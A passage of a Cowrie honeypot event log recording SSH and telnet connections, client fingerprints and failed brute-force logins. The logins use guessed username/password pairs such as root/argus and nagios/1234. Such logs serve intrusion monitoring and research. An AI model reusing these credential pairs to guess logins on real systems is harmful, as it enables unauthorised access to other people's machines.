{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:38.195119Z","src_ip":"119.28.115.94","session":"b8009acb7e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:38.431181Z","src_ip":"119.28.115.94","session":"b8009acb7e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.61641502380371,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:38.698262Z","src_ip":"152.42.224.71","session":"8055d68e7f13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"argus","message":"login attempt [root/argus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:39.407744Z","src_ip":"119.28.115.94","session":"b8009acb7e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:40.647647Z","src_ip":"119.28.115.94","session":"b8009acb7e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123098qweoiu","message":"login attempt [root/123098qweoiu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:40.746872Z","src_ip":"213.209.159.158","session":"01d7acd0bf2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56368,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b2416aefa9d","protocol":"ssh","message":"New connection: 89.223.69.22:56368 (159.203.135.109:22) [session: 7b2416aefa9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:42.594719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:42.601876Z","src_ip":"89.223.69.22","session":"7b2416aefa9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44734,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2b771dd6da","protocol":"telnet","message":"New connection: 152.42.224.71:44734 (10.17.0.5:23) [session: fb2b771dd6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:42.605136Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:42.714091Z","src_ip":"89.223.69.22","session":"7b2416aefa9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasdqwe123","message":"login attempt [root/zxcasdqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:43.051275Z","src_ip":"89.223.69.22","session":"7b2416aefa9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:44.138147Z","src_ip":"213.209.159.158","session":"01d7acd0bf2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:44.167166Z","src_ip":"89.223.69.22","session":"7b2416aefa9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63388,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b2d6afaa106","protocol":"ssh","message":"New connection: 213.209.159.158:63388 (10.17.0.5:22) [session: 9b2d6afaa106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:44.220839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:46.332907Z","src_ip":"213.209.159.158","session":"9b2d6afaa106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:46.335969Z","src_ip":"213.209.159.158","session":"9b2d6afaa106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.15663981437683,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:48.105236Z","src_ip":"152.42.224.71","session":"3dc5b9950a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7797794342041,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:48.801786Z","src_ip":"152.42.224.71","session":"84c869597bee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39580,"dst_ip":"10.17.0.5","dst_port":23,"session":"354366b8d647","protocol":"telnet","message":"New connection: 152.42.224.71:39580 (10.17.0.5:23) [session: 354366b8d647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:51.401365Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39584,"dst_ip":"10.17.0.5","dst_port":23,"session":"48429f102449","protocol":"telnet","message":"New connection: 152.42.224.71:39584 (10.17.0.5:23) [session: 48429f102449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:54.605467Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39590,"dst_ip":"10.17.0.5","dst_port":23,"session":"18359117616e","protocol":"telnet","message":"New connection: 152.42.224.71:39590 (10.17.0.5:23) [session: 18359117616e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:55.530816Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39606,"dst_ip":"10.17.0.5","dst_port":23,"session":"e50473cf9aac","protocol":"telnet","message":"New connection: 152.42.224.71:39606 (10.17.0.5:23) [session: e50473cf9aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:55.736111Z"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"1234","message":"login attempt [nagios/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:56.435960Z","src_ip":"213.209.159.158","session":"9b2d6afaa106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.6653938293457,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:57.449121Z","src_ip":"152.42.224.71","session":"6da6c785d8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec5e0483b718","protocol":"telnet","message":"New connection: 152.42.224.71:36992 (10.17.0.5:23) [session: ec5e0483b718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:58.251844Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37008,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5313612acfb","protocol":"telnet","message":"New connection: 152.42.224.71:37008 (10.17.0.5:23) [session: e5313612acfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:58.352712Z"}
{"eventid":"cowrie.session.closed","duration":116.23511457443237,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:58.477443Z","src_ip":"152.42.224.71","session":"7f7616b76664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:59.913644Z","src_ip":"213.209.159.158","session":"9b2d6afaa106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1738,"dst_ip":"10.17.0.5","dst_port":22,"session":"44fb7937ebb7","protocol":"ssh","message":"New connection: 213.209.159.158:1738 (10.17.0.5:22) [session: 44fb7937ebb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:59.996873Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37014,"dst_ip":"10.17.0.5","dst_port":23,"session":"3321fda07720","protocol":"telnet","message":"New connection: 152.42.224.71:37014 (10.17.0.5:23) [session: 3321fda07720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:02.359030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:02.670664Z","src_ip":"213.209.159.158","session":"44fb7937ebb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:02.677405Z","src_ip":"213.209.159.158","session":"44fb7937ebb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37030,"dst_ip":"10.17.0.5","dst_port":23,"session":"1692c838083c","protocol":"telnet","message":"New connection: 152.42.224.71:37030 (10.17.0.5:23) [session: 1692c838083c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:02.805891Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37046,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f41ce784d9","protocol":"telnet","message":"New connection: 152.42.224.71:37046 (10.17.0.5:23) [session: b0f41ce784d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:05.252217Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58140,"dst_ip":"10.17.0.5","dst_port":23,"session":"b823d5cf7e8f","protocol":"telnet","message":"New connection: 152.42.224.71:58140 (10.17.0.5:23) [session: b823d5cf7e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:06.145554Z"}
{"eventid":"cowrie.session.closed","duration":34.866515159606934,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:06.501754Z","src_ip":"152.42.224.71","session":"0dbcff9b737e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.32547354698181,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:08.522012Z","src_ip":"152.42.224.71","session":"a54135512c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99857759475708,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:10.636763Z","src_ip":"152.42.224.71","session":"483e8fe9506c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"roberto","password":"roberto","message":"login attempt [roberto/roberto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:12.407099Z","src_ip":"213.209.159.158","session":"44fb7937ebb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c6fd7a18cf9","protocol":"telnet","message":"New connection: 152.42.224.71:58152 (10.17.0.5:23) [session: 7c6fd7a18cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:13.385710Z"}
{"eventid":"cowrie.session.closed","duration":45.97871112823486,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:15.500575Z","src_ip":"152.42.224.71","session":"f4435fbc0ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:16.094273Z","src_ip":"213.209.159.158","session":"44fb7937ebb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64462,"dst_ip":"10.17.0.5","dst_port":22,"session":"3135502a5faa","protocol":"ssh","message":"New connection: 213.209.159.158:64462 (10.17.0.5:22) [session: 3135502a5faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:16.204072Z"}
{"eventid":"cowrie.session.closed","duration":89.31918215751648,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:18.030855Z","src_ip":"152.42.224.71","session":"50c85af3c03f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:18.566658Z","src_ip":"213.209.159.158","session":"3135502a5faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:18.570507Z","src_ip":"213.209.159.158","session":"3135502a5faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.93542814254761,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:21.008433Z","src_ip":"152.42.224.71","session":"618204ef5fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.49834418296814,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:22.304012Z","src_ip":"152.42.224.71","session":"1692c838083c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57298,"dst_ip":"10.17.0.5","dst_port":23,"session":"8584bb45bf89","protocol":"telnet","message":"New connection: 152.42.224.71:57298 (10.17.0.5:23) [session: 8584bb45bf89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:24.532794Z"}
{"eventid":"cowrie.session.closed","duration":34.612507343292236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:26.013731Z","src_ip":"152.42.224.71","session":"354366b8d647","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123..","message":"login attempt [root/Root123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:28.122191Z","src_ip":"213.209.159.158","session":"3135502a5faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.386390686035156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:29.991753Z","src_ip":"152.42.224.71","session":"48429f102449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22781205177307,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:30.580429Z","src_ip":"152.42.224.71","session":"e5313612acfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09059190750122,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:30.621259Z","src_ip":"152.42.224.71","session":"18359117616e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:31.713897Z","src_ip":"213.209.159.158","session":"3135502a5faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8614,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fe667dd965f","protocol":"ssh","message":"New connection: 213.209.159.158:8614 (10.17.0.5:22) [session: 7fe667dd965f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:31.795448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:05:33.984982Z","src_ip":"213.209.159.158","session":"7fe667dd965f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecds